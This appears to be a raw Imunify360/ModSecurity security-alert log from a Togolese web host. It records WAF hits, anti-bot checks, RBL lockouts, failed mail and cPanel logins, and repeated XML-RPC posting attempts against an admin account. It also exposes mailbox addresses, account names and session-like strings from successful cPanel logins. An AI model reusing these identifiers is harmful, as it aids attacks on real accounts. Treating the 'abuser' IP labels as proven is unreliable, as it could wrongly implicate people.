domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/revue-annuelle-des-reformes-communautaire-de-luemoa-lauto-evaluation-tenue-a-lome HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.184.162.202
country_id: 953987
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-json/oembed/1.0/embed?format=xml&url=http:/togodailynews.tg/classement-2024-des-100-premiers-ports-mondiaux-le-pal-leader-en-afrique-subsaharienne/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.189.15.108
country_id: 3996063
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-json/wp/v2/posts/2031 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:08:01:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.248
country_id: 3469034
description:
Jun 19 08:01:40 ns5 auth[3638615]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.248 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.219.153.194
country_id: 2328926
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/symposium-des-jeunes-unir-engagement-et-renforcement-des-capacites HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.172.43.114
country_id: 1605651
description:
Jun 19 08:02:05 ns5 auth[3638615]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.172.43.114 has been locked due to Imunify RBL


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:08:01:44 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:08:01:45 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:08:01:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.143.242.26
country_id: 3617476
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/04/IMG_20260428_084837_886-scaled.webp 2560w, http:/togodailynews.tg/wp-content/uploads/2026/04/IMG_20260428_084837_886-300x225.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/04/IMG_20260428_084837_886-1024x768.webp 1024w, http:/togodailynews.tg/wp-content/uploads/2026/04/IMG_20260428_084837_886-768x576.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/04/IMG_20260428_084837_886-1536x1152.webp 1536w, http:/togodailynews.tg/wp-content/uploads/2026/04/IMG_20260428_084837_886-2048x1536.webp 2048w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 31.215.52.14
country_id: 290557
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/cop28-faure-gnassingbe-assiste-a-louverture-des-travaux-a-dubai HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.62.226
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/eau-potable-le-togo-mise-sur-les-postes-deau-autonomes HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 93.172.16.58
country_id: 294640
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/la-mortalite-hospitaliere-recule_i1920.webp 1920w, http:/togodailynews.tg/wp-content/uploads/2026/06/la-mortalite-hospitaliere-recule_i1920-300x169.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/la-mortalite-hospitaliere-recule_i1920-1024x576.webp 1024w, http:/togodailynews.tg/wp-content/uploads/2026/06/la-mortalite-hospitaliere-recule_i1920-768x432.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/06/la-mortalite-hospitaliere-recule_i1920-1536x864.webp 1536w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 168.194.165.248
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/campagne-de-vente-des-produits-cerealiers-au-togo-lansat-ouvre-ses-magasins-aux-populations HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.125.134.164
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/rehabilitation-de-la-route-sokode-bassar-victoire-tomegah-dogbe-lance-les-travaux/feed HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.91.64.7
country_id: 2017370
description:
45.91.64.7 - - [19/Jun/2026:08:04:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6790808&pdata=https%253A%252F%252F154.70.82.249&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781856262 HTTP/2.0" 302 0 154.70.82.249 "https://154.70.82.249/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.91.64.7


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.48.87.201
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/?p=15505 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.143.29.19
country_id: 933860
description:
Jun 19 08:06:31 ns5 auth[3638615]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.143.29.19 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.176
country_id: 1269750
description:
2026-06-19 08:07:40 dovecot_login authenticator failed for H=(nsg-corporate-176.230.187.122.airtel.in) [122.187.230.176]:53186: 535 Incorrect authentication data (set_id=help@armp.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.230.176
country_id: 1269750
description:
Jun 19 08:07:38 ns5 auth[3638615]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.230.176 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.71.236.38
country_id: 3469034
description:
Jun 19 08:08:58 ns5 auth[3638615]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.71.236.38 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 212.47.148.146
country_id: 587116
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2024/09/b88a066c55eab9737c73b04fcc6006a1_XL.jpg 900w, http:/togodailynews.tg/wp-content/uploads/2024/09/b88a066c55eab9737c73b04fcc6006a1_XL-300x169.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2024/09/b88a066c55eab9737c73b04fcc6006a1_XL-768x432.jpg 768w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-19 08:10:18 +0000] info [cpaneld] 185.55.240.13 - esso "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user esso (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.195
country_id: 1880251
description:
47.128.96.195 - - [19/Jun/2026:08:11:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13197931&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdisciplines-sportives-suspendues-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781856670 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/disciplines-sportives-suspendues-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.195


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.233.113.237
country_id: 798544
description:
Jun 19 08:12:14 ns5 auth[3638615]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.233.113.237 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 175.101.14.73
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b0084ada6252e59d88194b2a0d66058fc9037861||Title:a5d83mk0aa6tvk6||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [19/Jun/2026:08:12:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10120594&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781856736 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:08:12:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10056389&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781856750 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 175.101.14.73
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c2d2ed6d925c87a080f2952d99e780d01812bdc4||Title:inxl88dzerxsqa||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 206.135.14.186
country_id: 3996063
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-json/wp/v2/posts/16563 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.177
country_id: 2635167
description:
[2026-06-19 08:12:47 +0000] info [cpaneld] 5.230.133.177 NEW frtwilql:U1s_8iptBcGswqQR address=5.230.133.177,app=cpaneld,creator=frtwilql,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 175.101.14.73
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c60ad4b559557469bbced7a90e352b3854287a84||Title:jdz33dte4zw464bjq||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 213.32.21.59
country_id: 3017382
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:08-13.213.32.21.59||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 175.101.14.73
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d2c1f44b58e1d7c3e8223ef7c2730861f8740194||Title:axlszgthm6t0ggm||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:08:14:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10118296&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781856878 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 175.101.14.73
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:31ec17281b6104f3583d21e0b81cef8a19aaf461||Title:85hhvhsxcvx5nqm6||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.251.16.155
country_id: 2542007
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2024/11/IMG_6503-scaled.jpg 2560w, http:/togodailynews.tg/wp-content/uploads/2024/11/IMG_6503-300x200.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2024/11/IMG_6503-1024x683.jpg 1024w, http:/togodailynews.tg/wp-content/uploads/2024/11/IMG_6503-768x512.jpg 768w, http:/togodailynews.tg/wp-content/uploads/2024/11/IMG_6503-1536x1024.jpg 1536w, http:/togodailynews.tg/wp-content/uploads/2024/11/IMG_6503-2048x1365.jpg 2048w, http:/togodailynews.tg/wp-content/uploads/2024/11/IMG_6503-272x182.jpg 272w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.98.225.29
country_id: 1522867
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/908879 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:08:18:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:08:18:20 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:08:18:21 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:08:18:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.184.149.227
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2023/04/images-1.jpg 367w, http:/togodailynews.tg/wp-content/uploads/2023/04/images-1-300x112.jpg 300w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 194.146.15.149
country_id: 3017382
description:
[2026-06-19 08:18:30 +0000] info [cpaneld] 194.146.15.149 - togoinrdceh "GET /execute/Email/list_pops?api.version=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.123.204.192
country_id: 1814991
description:
2026-06-19 08:19:31 dovecot_login authenticator failed for H=([124.153.189.92]) [123.123.204.192]:38449: 535 Incorrect authentication data (set_id=phipa@centif.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.85.152.227
country_id: 3469034
description:
Jun 19 08:21:17 ns5 auth[3638615]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.85.152.227 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 36.69.209.140
country_id: 1643084
description:
[2026-06-19 08:21:21 +0000] info [cpaneld] 36.69.209.140 - admin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 151.245.206.165
country_id: 2635167
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:151.245.206.165||TA:151.245.206.165||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.233.185.13
country_id: 798544
description:
Jun 19 08:21:36 ns5 auth[3638615]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.233.185.13 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 106.219.67.166
country_id: 1269750
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2020/08/BOOOOOOOOOOO.jpg 655w, http:/togodailynews.tg/wp-content/uploads/2020/08/BOOOOOOOOOOO-300x200.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2020/08/BOOOOOOOOOOO-272x182.jpg 272w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-19 08:22:47 +0000] info [cpaneld] 102.54.238.57 - pduusmyf "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:08:26:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7117672&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781857564 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.108
country_id: 2635167
description:
[2026-06-19 08:25:42 +0000] info [cpaneld] 5.230.153.108 NEW wwayrzpl:L4PA1BXvrNzNxnEG address=5.230.153.108,app=cpaneld,creator=wwayrzpl,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [19/Jun/2026:08:25:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9946987&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781857552 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.252.73.15
country_id: 1210997
domain: www.derou.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.derou.tg/Appel_Offre HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.154.44
country_id: 690791
description:
Jun 19 08:28:11 ns5 auth[3638615]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.154.44 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:08:28:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10002117&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781857707 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:08:33:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:08:33:04 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:08:33:08 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 203.132.68.28
country_id: 2077456
description:
